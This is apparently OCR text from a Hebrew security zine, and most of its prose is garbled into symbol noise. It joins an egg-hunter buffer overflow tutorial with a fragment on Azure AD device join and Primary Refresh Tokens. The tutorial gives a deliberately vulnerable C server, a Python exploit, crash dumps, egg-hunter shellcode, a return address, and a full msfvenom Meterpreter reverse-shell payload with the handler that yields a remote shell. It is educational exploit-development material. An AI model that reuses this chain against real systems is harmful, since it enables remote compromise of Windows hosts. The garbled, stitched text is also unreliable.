https://github.com/shaygitub/VulnDrivers/tree/main/CVVE02320598/CVE2023-20598
s sis ¥y l,sx. 4 «
https://youtu.be/BvYN TcAZfU
BYOVD DSE
www.DigitalWhisper.co.il
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”

.1

>

X
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https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_rtl_avl_table
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm
https://n4r1b.com/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/
https://0xrick.github.io/win-internals/pe7/
https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
https://github.com/TheCruZ/kdmapper/blob/master/
https://github.com/shaygitub/VulnDrivers/tree/main/CVE-2023-20598/CVE-2023-20598
https://youtu.be/BvYN_TcAZfU

Technologic

,,x-|v|_S

@ 111 sax o3 ] LlAawlevel * 4% ST x4 % 1T XX 4 47X Y 4

1R A A s T BT X X x g X sl xS 4T x

FY Y AT A e X X X 4] A 5% T4 Windows 105 L, s B 1Al 1 X .

FA A TN X d TR T e T XS s L D T o
(CE

Mo v s Ay s o e ¥ 811« F XL x %0047
https://github.com/shaygitub

LA sdidx Tdd”

shaygilat@gmail.com

https://www.linkedin.com/in/shayqilat-67b727281
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https://github.com/shaygitub
https://github.com/shaygitub
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Technologic

TH _sxpXwsx x40 X4 Xy 31 pxq 544,80 3s

B

Reversex _*11 ~Ixx « * x, I <1 ]1 x ghelicode’ «~ ~» S«sii X "%« p3 0 fd@ ¢ s

|- ~

L

S

~ A

L b)) B Y. % . Bgh Hunting: < 45 1 s3% ¥ 11 x {5 ghell

~ ~ v

Matt Miller 1" . (S " X _~ . )s S 12X _ (<SP HYSUXMTS_yxso1 s

i7"+ L ~Xx_ «~ _ Safely Searching Process Virtual Address Space_ * -~ ESkap®*™

X 4s 1 xS s 420 1% 4 4

\Xll-||_|_A$,,\“x

o

SXCE L WX, KK o T IL X is] " 4" x < |1 . :Buffer Overflow

~

L W x, €18 x| x4 1T T 1AW 4 s 4 ey |

L X <80 x4 YXx " shellcodes + + * x ‘¢S, ¢ 18 xI | x XKs” | x4 = s

= 9.
e@g hunterr _ & ™ « 0eggs - ~_ , 1Thunters ! x Boffert | " | hBigter~ ~» « T < s _

djdp esps | ¥ & " ishellcoder | x| L M4 1 <

KEggHunterr 4 19 % 387 «f -

sl x " Edghunter, @ ¥ 1 4wxw o x s X o x 1 471 §HBggHunter

oL 13 S X . Idh % *Shellcod®d " X! XS yssE o« 4" 4 BBUffert r X« 4 . T 4+

®4 . ~xhegpts _ Y § X WX ™% s xT shellcodet - | ~ X

v o~

www.DigitalWhisper.co.il
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https://www.hick.org/~mmiller/
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

1 & 4% 3 de T4 4d 2 YBufferd o ! 5 Y 1] x ] 4% xx & 47 |
shellcode’ * « - live <14 ®hellcoded @ «x X {7 UL ¥ ~ X, AP F XG4 4X ] x s

1. s _Si'lx HEverse shelk 4 _«s{s”

4

—

A tain/sh ©Y., € s Kxio, x {  «

o~ > v o~

H 4 'pnun, o 1 «oxWindows

Lox Isyuxs )|

Q

)

S wd "ty 7

Y,,~ste‘z>~x><”LZ~,,V§”x§‘\-|1’.’J\jIs DX x 1,

<stdio.h>
<stdlib.h>
<string.h>
<winsock2.h>
<ws2tcpip.h>

PORT8080
BUFFER_SIZE1024
HEADER_SIZE50
DATA_SIZE974
comment(lib, "Ws2_32.lib")

void sub_esp_and_jmp() {

}

int

asn(

"sub $0x42,  Y%esp\ n"
"jmp * %esp\ n"

parseHeader ( char * recvBuffer, int counter) {

char

headerBufferfHEADER_SIZE] ={ 0};

memcpgheaderBuffer, recvBuffer, counter);
printf  ("header>> %4 n", headerBulffer);

0;

HT
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int  main(){
WSADATA wsaData;
int iResult;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET f&ntSocket = INVALID_SOCKET;
struct  sockaddr_in serverAddr,
char * recvBuffer = ( char *) malloc (BUFFER_SIZE);
char *response = "Hello from server" ;

iResult= WSAStartup( MAKEWQRD 2), &wsaData);
ListenSocket =  socket (AF_INET, SO CK_STREAM, IPPROTO_TCP);

serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons (PORT);

iResult= bind (ListenSocket, ( struct  sockaddr*)&serverAddr, (serverAddr));
(iResult ==SOCK ET_ERROR){
closesocket (ListenSocket);
WSACleanuf);
15
}

iResult= " listen (ListenSocket, SOMAXCONN);
(iResult == SOCKET_ERROR) {
closesocket (ListenSocket);
WSACleanu();
ik
}

printf  ("Server listening on port %d n*, PORT),
ClientSocket =  accept (ListenSocket, NULL NULL;

iResult= recv (ClientSocket, recvBuffer, BUFFER_SIZE, 0);
(iResult >  0){
printf  ("Received data: %3S n", recvBuffer),

int counter=0;
(recvBuffer[counter]!= "' && recvBuffer[counter+ ="
counter++;
}
counter++;
(counter > 100)
exit (1);

char *data=( char*) malloc (iResult - counter);
memcpyda ta, recvBuffer+counter+ 2, iResult - counter);

parseHeader (recvBuffer, counter);

printf  ("data >> %3§n", data);
iResult =  send(ClientSocket, response, ( int ) strlen (response),
printf  ("Response sent \ n");
(iResu It==0) {
printf  ("Connection closing... \n");

{
printf  ("Recv failed: %d n"*, WSAGetLastError ());

shutdown (ClientSocket, SD_SEND);
closesocket (ClientSocket);
closesocket (ListenSocket);
WSACleanuf);

0;

Y X "\.YLS'L-I ” _]: X‘-L: *S“ "

gcc program.c -0 server.exe -m32-lws2 32 -fno-stack -protector - no- pie
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” s .~ % S

~ A v

L s ” X]Vq; WS XL X ” 4 ¢ Issl [ xx »Sxs L X . |S{AL| X% w15, s X o

~

T 10U YUY x5 4 X Txsy x { <150 hBader:datadYls « 4§ < ¥

DXV DTS e XS LS K AT X
TX L KRS S KN AR A X3 s s s 0 ] vsdD s ]
] x 9P xi.Jl X U RN 7 1~L§ 1« >Zs,, . xh@ap-f x ~L’)<.H ”=.|)Ixs\‘><“ X s

@tack‘fx - X|"I'I~)£ )i.l:,, ,.'IVX N IS X, XSJ'IS\ "X s

N ~ >

XA . e XTIl X%
UL O § 5

K4, >*$59s

Ly 8N D psuxox Dosstackt r o« X ]~ ] g s «Xs, DX 1

v v ~A v ~ A v~

FoA T X e, s 0 boxpyd L k] e @ e e XX T T T e DX ] s

~ ~

Gtacks L+ 1% px44, _ x 7

¥R K, X, X TS s X T X I K

socket
struct

def exploit ():
server_address ('172.22.100.171* , 8080)

header b"A" *30
data b"B" *30
message = header b":" data

sock = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

sock. connect (server_address)

sock. sendall (message)

response sock. recv (1024)

print (f"Received: {response. decode()} ")

sock. close ()
print ("Connection closed" )

~/Desktop/egghunter
exploit.py
Received: Hello from server
Connection closed

www.DigitalWhisper.co.il
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1  parseHeadef 1 « « ' xs ., sCIT< x Ilfes x sl (7 B}l XX, ss o,

Y . ~s|_~“>€s,, . )@ﬂjqbsx,, s
header b"A" *70

¥ O XML Ex; $% 7K, windbgl « % 17

(1fc@.137c): Access violation - code c@800005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=41414141 ecx=4b7a4497 =dx=00000000 esi=004812e8 edi=41414141

eip=41414141 esp=0061fd40 ebp=41414141 iopl=0
cs=001b ss=0023 ds=0023 es=0023 fs=083b gs=0000 ef1=00010206

41414141 ?7? 2?7

nv up ei pl nz na pe nc

v

A~

1 7s@ © P x o o Hos o8 g ox > Txxx{ll x4 D0 x o, | Xsd” o x Dl s

YU g NS DRXU R D p s {USEETS L Lise, X p 4 2 X ] X

header b"Aa0AalAa2Aa3AadAasAabAa7Aa8Aa9Ab0AblAb2Ab3Ab4AbSAb6Ab7AbBADIACOACIAC2A"

¥ _ «xsl L 7

(1db4.1f68): Access violation - code c@808885 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

cax=08000080 cbx=37624136 ecx=926bd476 eodx=BB0BOEBE esi=0084812e0 odi=41386241
eip=31634130 esp=0061fd4@ ebp=63413962 iopl=0
cs=081b ss5=00823 ds=8023 es=00823 {s=003b gs=8000 efl=00818206
31634136 ?? 2?7

nv up ei pl nz na pe nc

13

“

LATHY 4FF s T x whs]” B X 5 xooxX ASCH D X x 1D fes {7
D HYsSs, ¢ % x s L > XS

c. X s "X & " shellcoder | X Soucefpt 1x L dded A XY L ]

~ o~ >

XS X b B M S w8 s L XY Ll s oo oosel x X" diellcode

VWindowst reverse shett x s 1« 1

H 7 shellcodes @ «» x _x X" T X o  Tred 14«

www.DigitalWhisper.co.il
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X

X, U™ e 5% | TgdrseHeader 4 « <" s L SIPCD s x LX) s

X


https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html

HggHunterre 1t 1 + & X4 x|

K4 x I ."{sHelcoda® - ~ 1 "s] "4

T xS 4. s | ahBlicodes © X X X ¢ . _ Telprer S 14X AS KT T LTt
X X T Redmt X X HSXe X S L XA T A8 A% XX LXXY B . % sdata

~

S v.s™ o Ls I {. s TPl d sl X xisop 4 s

~A A

J A ss L, x o ex

A ~

b XS T XL, %X X TIS X L] . S LTSI T IR x D s

~ ~ ~ v ~

Hgg huntert . _ © _ s ¢

HHunterre . _!| x < s
G T AT e s X cw X hthterms ¢ X X e ldols. T

¥ * punterm® _ _ - _ 7

66 81 ca ff Of dx, Oxfff 00000005 <nextByte>:
42 edx
52 edx
6a 43 0x43
58 eax
cd 2e Ox2e
3c 05 al , 0x5
5a edx
74 ef 0 < main>
11: b8 77 3030 74 <search_egg>:
16:89 d7 edi, edx
18: af eax, DWORPTR es:[ edi]
19:75 ea 5 <nextByte>
1b: af eax, DWORPTR es:[ edi]
lc: 75 e7 5 <nextByte>0000001e <found>:
le: ffe7 edi
dittps://www.hick.org/code/skape/papers/egghurshellcode.pdiy

0:
5k
6:
7:
9:
a:
C:
e:
f:

K * Hunterre ' ] “4%4%«

ME X DSy P Xwxs{Xx {paggf L S " X ., 1% s Il X cedx. ¥ XSS ]
L 1 * NtDisplayString | ~ - +s1 . «*_ huntem® ~ 1. 1 «u® paget , 1 >+« 1% %

v X ¢\-|X~,,v‘|“x|_~s P iax ¥ " d 4L S {%8dx- Y X 1s * x, .|v=|_ X . X 1664 « x | x|

>v ~

1o sseax by 4 si o x "] 4L s AcéessViolation @~ 1 % » T4 14«
B X P fuxx s, €,

~ A

« 4. s
3

www.DigitalWhisper.co.il
oM H anHLx 4637 x 4 L ¥



https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

FoeaXY Xooee x Lo 0 o8 F Al X Cdwal ¥oXSoXo XDius 4 CIT L oas ] L o
Fod ol o5X X0 LT A7A X T e X X X T X s X o 4 e X ©H S

An

A4 ] eyge L 4 - ks sX 1 WDOwWOOt | YK 4.8 LY @XS”_egge ¢ e o P X X

~ ~ ~

® 4% xCrhuntems ¢ | X & se . DX X 4 XL s 1.

~ A

. X 9 ¥ X * oy «x shellcodes @~ 45 1 X1 C4X XL Kiegghi X " v v 1L
D> T x ., ] o ¢ X I,,XXLXXA””egg?Z X, 146 s

XD X U HP KX xd B4 X Dhuntems © o |~

hunter
"\ x66\ x81\ XCA xFF\ xOR\ x42\ x52\ x68\ x43\ x01\ x00\ x00\ x58\ xCD x2E\ x3C\ x05\ x5A\ x74\ XEG xB8\ x

77\ x30\ x30\ x74\ x89\ XD\ xAR x75\ XE7\ XAR x75\ XxE4A xFF\ XxE7"
header hunter b"A" *(62- len (hunter))

r « shellcodet ~ +~ : - TX e -« XX huyntemd o ~, X S\ &% 4 21X X'~ %

~ >

x " huntemt « x ¥ 4 4 Xespd 9« awindbgt o4 7 Lx T4 e x 1oX 7
41414141 ?? 2?2
0:000> dd esp - 50
0061fcfO 75ef895f 00000011 0061fd18 4141a3c6
0061fdo0 41414141 41414141 41414141 41414141
00611d10 41414141 41414141 41414141 41414141
00611fd20 41414141 41414141 41414141 41414141
00611fd30 41414141 41414141 41414141 41414141
0061fd40 41414141 00000046 000VVO20 OOV
0061fdS50 fffffd85 90110002 00000 0070001
0061fd60 ©07a1228 02020202 536e6957 206b636T

~

assemb|y' X ,4xi 0 ., sl x odx B Al §|4v>< x ] X §S4C s Y © is” |

~n~ ~ ~ ~ A

Y0, « 3% ~d_ s AT el T

>

D OhuterE © o X xR © o

v~ a ~

esp, 0x42
esp

Yassembly X pxi o o2 X X D fes T o XrpP4Hd oL ) X8

~

.\rp-win-x86.exe -r 2 -f .\server.exe dw. txt
SSIX L, X S LISTOx T sk T T Ixs s Y i AN AMAE G lsx T o

Yassembly

b"\x66\ x81\ XCA xFR x0F\ x42\ x52\ x68\ x43\ x01\ x00\ x00\ x58\ xCD x2E\ x3C\ x05\ x5A\ x74\ xEQ xB8\
X7 7\ x30\ x30\ x74\ x89\ xDA xAR x75\ XE7\ xAR x75\ xE4\ xFR xE7"

eip struct. pack("<I" , 0x401463)
header hunter b"\ xcc"* (62-len (hunter)) eip
data b"w00tw0O0t" b"\ xcc"* 70
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https://defuse.ca/online-x86-assembler.htm
https://github.com/0vercl0k/rp

Technologic

assemblys © x .00x0 n MRAT O U Breakpointr 1 _ T 7« X b 47 Iixe; § .88 77

> ~ o v

©:803> bp 481463

B:083> g

Breakpoint @ hit

cax=00800800 ebx=41414141 ecx=bB8837bfe eodx=00BB0EBE esi=B04812e80 odi=41414141

eip=08481463 esp=0061Td48 ebp=41414141 iopl=8 nv up ei pl nz na pe nc
cs=001b s5=0823 ds=00823 es=0023 {fs=003b gs=00G8 efl=00000206
server+@x1463:

80481463 83ecd2 sub esp,42h

M " egge: « « ¥ (hunteme 4 9 « -~ 74" Lxciise] 4 xd¥ .7 4d « o 7 X

Nzgg'ﬁ: X" ""‘LE L

I Windows: 1~ 1% xS 4. oD X T fy s X xs Y ([ Tixs) by ] X
XX X, T KX A K T s e n g, s XX ] A
LWIinDBGX ~ ¢  NeDisplayString 41 " 1 5« § ..« s;s_ X" 4 DX, x 1 4% X

N D

~ v oo~ ~ ~

0:001> u ntdll!NtDisplayString L2

ntdl1l!NtDisplayString:

76fb1030 b843010000 mov eax,143h

76fb1035 803000000 call ntdl1l!NtDisplayString+0xd (76fb103d)

Y ! 1.4 0ximmo " buntemd 4 X I . 1 uS{. o st

(28d@.a64): Break instruction exception - code 800000883 (first chance)
eax=74303077 ebx=41414141 ecx=0061fcfa edx=001cBe2c es5i=004812e0 odi=001cBe34

eip=001cPe34 esp=0061fcfe ebp=41414141 iopl=8 nv up el pl zr na pe nc
cs=081b ss5=0823 ds=0823 es=0823 {s5=083b gs=0280 efl=00800246
@81cBe34 cc int 3

8:800> da eip-8
B01cBe2c "wOBtWBBt. ... ... et "
801cBedc "...... "

M " shellcodgs : «. 1" 9%« _ % o ISH | « egge : ~ - huntems

>

msfvenom- ~ ¢ shéllcodet - -~ 1 .«

~ X « Hmsfvenom. _x ° ~ ImBfvenomd . | X * X" shellcodet : ~. x i {"_ L

¥ o« Xsslox & osq4x% Y4« ‘reverseshell ~ 4 v L x wx 1 ¥, 17 x18hellcode
msfvenom - p windows/meterpreter/reverse_tcp LHOST=172.22.100.171 LPORT=8080 -f py
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Payload size: 354 bytes

Final size of py file: 1757 bytes
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf

"\ xfc \ xe8\ x8f \ x00\ x00\ x00\ x60\ x31\ xd2\ x89\ xe5b\ x64"
"\ x8b\ x52\ x30\ x8b\ x52\ x0c\ x8b\ x52\ x14\ x8b\ x72\ x28"
"\ x31\ xff \ xO0f \ xb7\ x4a\ x26\ x31\ xcO\ xac\ x3c\ x61\ x7c"
"\ x02\ x2¢\ x20\ xc1\ xcf \ x0d\ x01\ xc7\ x49\ x75\ xef \ x52"
"\ x57\ x8b\ x52\ x10\ x8b\ x42\ x3c\ x01\ xd0\ x8b\ x40\ x78"
"\ x85\ xcO\ x74\ x4c\ x01\ xdO\ x8b\ x48\ x18\ x50\ x8b\ x58"
"\ x20\ x01\ xd3\ x85\ xc9\ x74\ x3c\ x31\ xff \x49\ x8b\ x34"
"\ x8b\ x01\ xd6\ x31\ xc0\ xac\ xc1\ xcf \ x0d\ x01\ xc7\ x38"
"\ xe0\ x75\ xf4 \ x03\ x7d\ xf8 \ x3b\ x7d\ x24\ x75\ xe0\ x58"
"\ x8b\ x58\ x24\ x01\ xd3\ x66\ x8b\ x0c\ x4b\ x8b\ x58\ x1c"
"\ x01\ xd3\ x8b\ x04\ x8b\ x01\ xdO\ x89\ x44\ x24\ x24\ x5b"
"\ x5b\ x61\ x59\ x5a\ x51\ xff \ xe0\ x58\ x5f \ x5a\ x8b\ x12"
"\ xe9\ x80\ xff \ xff \xff \ x5d\ x68\ x33\ x32\ x00\ x00\ x68"
"\ X77\ x73\ x32\ x5f \ x54\ x68\ x4c\ x77\ x26\ x07\ x89\ xe8"
"\ xff \ xdO\ xb8\ x90\ x01\ x00\ x00\ x29\ xc4\ x54\ x50\ x68"
"\ x29\ x80\ x6b\ x00\ xff \ xd5\ x6a\ x0a\ x68\ xac\ x16\ x64"
"\ xab\ x68\ x02\ x00\ x1f \ xX90\ x89\ xe6\ x50\ x50\ x50\ x50"
"\ x40\ x50\ x40\ x50\ x68\ xea\ xOf \ xdf \ xe0\ xff \ xd5\ x97"
"\ x6a\ x10\ x56\ x57\ x68\ x99\ xab\ x74\ x61\ xff \ xd5\ x85"
"\ xcO\ x74\ x0a\ xff \x4e\ x08\ x75\ xec\ xe8\ x67\ x00\ x00"
"\ x00\ x6a\ x00\ x6a\ x04\ x56\ x57\ x68\ x02\ xd9\ xc8\ x5f"
"\ xff \ xd5\ x83\ xf8 \ x00\ x7e\ x36\ x8b\ x36\ x6a\ x40\ x68"
"\ x00\ x10\ x00\ x00\ x56\ x6a\ x00\ x68\ x58\ xa4\ x53\ xe5"
"\ xff \ xd5\ x93\ x53\ x6a\ x00\ x56\ x53\ x57\ x68\ x02\ xd9"
"\ xc8\ x5f \ xff \ xd5\ x83\ xf8 \ x00\ x7d\ x28\ x58\ x68\ x00"
"\ x40\ x00\ x00\ x6a\ x00\ x50\ x68\ x0b\ x2f \ xOf \ x30\ xff"
"\ xd5\ x57\ x68\ x75\ x6e\ x4d\ x61\ xff \ xd5\ x5e\ x5e\ xff"
"\ x0c\ x24\ xOf \ x85\ x70\ xff \ xff \ xff \ xe9\ x9b\ xff \ xff"
"\ xff \ x01\ xc3\ x29\ xc6\ x75\ xc1\ xc3\ xbb\ xfO \ xb5\ xa2"
"\ x56\ x6a\ x00\ x53\ xff \ xd5"

ol e lio i i e o o il o i = i = i o il o i o Ji = i = i o il o il S = i = i = il o Sl o S o i = i = 2L
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¥gge - 14X & _ < X4 % sHellcode® ¢ <« 4 X 17
data b"w00twOOt" buf

Ynsfconsola listenems - 1L 1 |

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse _tcp; set LHOST 172.22.100.171; set LPORT 8080; exploit"

Using configured payload generic/shell_reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
LHOST = 172.22.100.171
LPORT = 8080

Started reverse TCP handler on 172.22.100.171:8080

meterpreter > shell
Process 5560 created.

Channel 1 created.
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Ben\Desktop\egg hunters>

J Khellx ™  * A
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T, 457 oI x % T4V L TN | Do XL LTS ER S X L Xy

x2" shellcodet - ~x % x + x & " = parseHeadef 1 . « (' Xs ,sC ] ¥ x 2§ xx*{
1% 7 HunterL X "

~ v v v A ~ >~

H ~ _shelly 1 _xs"c1 vnBfvenomd © 1 5 ¢ ReverseShell

>

T X xS L X qs

~ ~ ~ ~ a

SR A B S Rl |
@inkedIinsd ¥y x | x " | X

SHY X g A X PTXXE X4y xg kT AR L XL M XA LT

®inkedind® t J x « X

S 4L vx{L XX

>

:Egg Hunting v+ 4 ~ _ ~

Safely Searching Process Virtual Address Space

https://medium.com/@orhan_vildirim/egehunter-how-it-works-fd0eed671b80

https://shellcode.blog/WindowsExploitationEgghunting/

https://fuzzysecurity.com/tutorials/expDev/4.html

https ://www.exploit-db.com/docs/english/18482qghunter---a-twist-in-buffer-overfl ow.pdf

=2 =4 =4 =4 =4

S I B TV T S BRSNS

1 https://defuse.ca/onlinex86-assembler.htm

Ynsfvenom* x4 s % s

~ ~ v

9 bttps://docs.metasploit.com/docs/usingnetasploit/basics/howto-usemsfvenom.html

S T B R BRIV R V) PR R I

1 https://zerosum0x0.blogspot.com/2016/11/overflowxploitpattern-generator.html

'+ Fgadget ¢~ 14 L
1 https://github.com/OverclOk/rp

www.DigitalWhisper.co.il
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https://www.linkedin.com/in/ben-f-5a900a1a4?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B5KmLKQ60TsmOHTxnHMxD9A%3D%3D
https://www.linkedin.com/in/netanel-shem-tov-19227819b
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
https://medium.com/@orhan_yildirim/egg-hunter-how-it-works-fd0eed671b80
https://shellcode.blog/Windows-Exploitation-Egg-hunting/
https://fuzzysecurity.com/tutorials/expDev/4.html
https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf
https://defuse.ca/online-x86-assembler.htm
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
https://github.com/0vercl0k/rp
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mr 1%« 41w ¥+ <Refresh TokemAccess Token 1 _ x> x  D@vicét_ _

~ o~

Kk 1> _  _Ténant
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https://www.digitalwhisper.co.il/files/Zines/0x9A/DW154-2-AzureAccessTokens.pdf
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Azure AD Device Join

@ zure Joined Devices» * '+34 {1 ‘PR *

WLSXXL YT, x Xs ] x ],

~

KDevices ¢s

XS B o« B 478 4%, sXDevices « @omputerr _ 1 « 4 ABTORT_ (4 T x |7
X5 4 \BAdoWSX « _ S X "HaX ST Ix  db] _x_ W3 - #7104 L x {isxDevice

v o~

C XX 2 X AdreAD " | . 4 Y v xsJOUAZUrEAD  ~ LK D I

~ o~ v v v v ~

BAZUEADS & _ v X EX LAl S € 1155 415d% « ¥ 1%, {EtralD x 1 |

~ v v <« ~
Home Devices
(7 Devices | All devices X
4 Download devices () Refresh €53 Manage view ™ B Preview features A7 Got feedback?
© Oveniew
All devices O contoso X | ¥ Add filters
Manage 11 devices found
@ Device settings Name 1! Enabled  OS Version Join type Owner MOM Security
BitLocker keys (P )
&£ Wlodac ks ravew) l:_“ ContosoSP @ Yes Window. 10.0.17763.5576 None N/A Microsoft
Activity
ER contosociient Q Yes Windows 100220002416 None
u
- ” . 1
& Bulk operation results (Preview) [} ContosoMiM © Yes Window. 10.0.17763.5458 None N/A
Troubleshaoting + Support <=7 Contosastudio © Yes Windows 10.0.22631.3296 Microsoft Entra joined None Microsoft Configuration N/A
& New support request 1) contoso-reans  @Yes  Windows 10.0.19044.3086 None Microsoft Configuration N/A
X Diagnose and solve problems =
E_“ T APy, @ Yes Windows 10.0.27554.1000 Microsoft Entra joined None Microsoft Configuration N/A
ER contoso-sea © Yes Windows 10.027554.1000 Microsoft Entra joined None Microsoft Configuratior N/A
) contosonc @ Yes Window. 10.0.17763.5576 None N/A Microsoft
BB contoso-nd © Yes Windows 100203482031 Microsoft Entra regist. None None N/A
u
E“ Contoso-BE @ Yes Windows 10.0.27554.1000 Microsoft Entra joined None Microsoft Configuratior N/A
[ER) contoso-6166 © Yes Windows 100226313296 Microsoft Entra joined None Microsoft Configuration N/A
< »
dittps://learn.microsoft.com/enus/entra/identity/devices/managedeviceidentities Y 6

«. 1% YGaphARE | -~ J {1/&zurgt s 4 x_ L0 4] D isqLl 4] s s LT s T
¥ « Xssi | 4« S

~

https://graph.microsoft.com/beta/devices/<DeviceiD

Primary Refresh Token
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https://learn.microsoft.com/en-us/entra/identity/devices/manage-device-identities
https://graph.microsoft.com/beta/devices/%3cDeviceID
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(m B¢

"id": "a53d978e-6893-4097-80ec-e25alec1224e",
"deletedDateTime": null,
"accountEnabled": true,
"approximateLastSignInDateTime": "2024-05-17T710:29:062",
"complianceExpirationDateTime": null,
"createdDateTime": "2024-03-21T11:53:24Z",
"deviceCategory”: null,
"deviceld": "a2eb8c49-8ced-4abe-bdce-eflc7345893e",
"deviceMetadata": null,
"deviceOwnership": null,
"deviceVersion": 2,
"displayName": "identityl-pc@2",
"domainName": null,
"enrollmentProfileName": null,
"enrollmentType": null,
"externalSourceName": null,
"isCompliant": null,
"isManaged": null,
"isManagementRestricted": null,
"isRooted": null,
"managementType": null,
"manufacturer": null,
"mdmAppId": null,
"model": null,
"onPremisesLastSyncDateTime": null,
"onPremisesSyncEnabled": null,
"operatingSystem": "Windows",
"operatingSystemVersion": "10.0.19045.3570",
(m] "hostnames": [
"identityl-pc@2"
1,
m} "physicallds": [
" [USER-GID] : e51410fd-2c47-4ee3-a%be-ac9175310266:6825817043542721",
"[GID] :g:6825817043542721",
" [USER-HWID] : e51410fd-2c47-4ee3-a%be-ac91753f0266:6825817043425370",
" [HWID] :h:6825817043425370"
1,
"profileType": "RegisteredDevice",
"registrationDateTime": "2024-03-21T11:53:242Z",
"sourceType": null,
"systemLabels": [],
"“trustType": "AzureAd",
(m] "alternativeSecurityIds": [

"@odata.context": "https://graph.microsoft.com/beta/$metadata#devices/$entity",
"@microsoft.graph.tips": "Use $select to choose only the properties your app needs

L, X WX L X" x4l YDevice Objects

e S EXXX I x s %X . ss 1

o s I x | L o~ »

~ “w v A

T G X so_sd Wl 1 Awrar | ¢ k4, Mo AR, XETXTE e TH T .
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Join Types

$0ss€ 1 %A% . | OtrustTypes s | XHc fUssl g 4 1siX¥"x lius 4% 48
Y trustTypes | _‘ix 4 . K s s*s ¢ x ]

1 Workplace

1 AzureAd

1 ServerAd

LU XTANER L X L Xl s g4 SBLovisx XD s WX x| xs, G fX X

¥ A5 4 A sk, Txs X
1 Workplace = Registered
1 AzureAd =Joined
1 ServerAd = Hybrid Joined

YAzure* Devices X _ i1~ p AY K T | X ss” sx} X4 w4 |

1@ Tx o d e ] At pgsxe AZ Ty v dd gdl- X 4 fiRegistered
B®¥OD Bring Your Own Device " + - ¢

-

w

CXf ls@ x XD s X4 s A T x YL 44X 41 *xd mloined
dzureARX « L S XS"{VS 1

Pl X% e xS O s X1 X ssFox . X" DX oHybrid 1 " X mHybrid Joined
1x 11 ~uelxdL 1%7 OnPrem_ » * L X <Y 49 s@PremAD *x . 411 : s
FYO L kA s TS XX s X X xR s X L0 e o L X
@D r ¥TX X
141 'Kerberog s 1 ed: <S4 «H4@nPrent * x 1T 4 NASI L + ¢

@ 4" " s ¢ sAzurgt CosmosDIB L X! _x Xp vu ] T Xy XOEXS Il Y] X«

~ ~ A

T 13X X $ x {{s_#OnPrente ¥ " "___s Sos 4T AL S AL 48

~ v A ~ o~

DA A4S XS, (L AZMAAB ADE D X X 4T L T

X X " »n - . = ” 77
C s ¢ 5 B A UX L &S R ;X L ¥ sxp f. i e x3x , | s

~

@zureAlr ADs x 7 Computers - X " . XX« < Hybrid Join
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x « @R 1 7 S5xd "+ 8 Y. JHybrid JoimJoinY * j Devicer ~ X Is% 5 . X

Wicrosoftt s 4« 17 _x «fd B4 1 ys{x 7

~

A Primary Refresh Token (PRT) is a key artifaetafe AD authentication on Windows 10, iCE)S,
and Android devices. Itis a JSON Web Token (JWT) specially issued to Microsoft first pairty token

brokers to enable single sigmm (SSO) across the applications used on those devices.

SSO _ +Y |, -Dewvicet User +* X Token: X ++S{BRT s ~» 1 Msi 4. * 4 | x

~ v ~ a

®dzurat + 1 * L

~ o~

« x spevicer - 1 A desyiAzurat | - v ¥e 4 1A WPRT 4~ DXO{S gz X
@ zure Hybrid Joined Azure Joined

4 0 S Lo+ A

~ v

x 4 dloined x sDevicer X + H U X% T« %0 L X XZ L X s ud T L

~

Y 1 P . 1 Aceess Work Or School Accaunit "+ ¢

Microsoft account

Set Up d work Qr SChOOl acceunt Connect with work and school

You'll get access to resources like email, apps, and the network. Connecting means your
work or school might control some things on this device, such as which settings you can
change. For specific info about this, ask them.

Your info

Email & app accounts | |

Sign-in options

§ Related settings
=1 Access work or school

Family & other people Alternate actions:

These actions will set up the device as your organization's and give your organization

Sync your settings
yncy g full control over this device

Set up an account for taking tests

Enroll only in device management

Have a question?

L S 1. % ¢ 17 15 17 1>_1 ~dointhis device to Azure Active Directdry 1 * 7
Hzuert x " ¥ _ 1 sx 7 x3{d@Rzure_ _

Primary Refresh Token
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IsDeviceJoined :
IsUserAzureAD : YES

PolicyEnabled : YES
PostLogonEnabled : YES
DeviceEligible : YES
SessionIsNotRemote : NO
CertEnrollment : none
PreRegResult : WillNotProvision

SSO State

AzureAdPrt :
AzureAdPrtUpdateTime : 2024-05-19 15:26:57.000 UTC
AzureAdPrtExpiryTime : 2024-06-02 15:26:56.000 UTC
AzureAdPrtAuthority : https://login.microsoftonline.com/
EnterprisePrt : NO
EnterprisePrtAuthority :
OnPremTgt : NO
CloudTgt : YES

S S A Y )oK A X JH ¥ 7 Y sse L ApureAdPrie X 3 bl 4 7 AT X B XS,
KAZUreABL X @ K % 1 S(C% 1 4 . X108

Device Registration Process

FlOW S " S «BzUreAB * _ T+ 4, » o 351 374X 0 {1 | x Sisx s . Is”

Y . xlix < s

~

X T ie,p AL kX1 A eoss ] g
Transport Key (tkpub/tkpriv)
Device Key (dkpub/dkpriv)
L 1. 0 H1 Xdly _AsLX .80 1Yy 7 Lo x TPM 4 A% s A

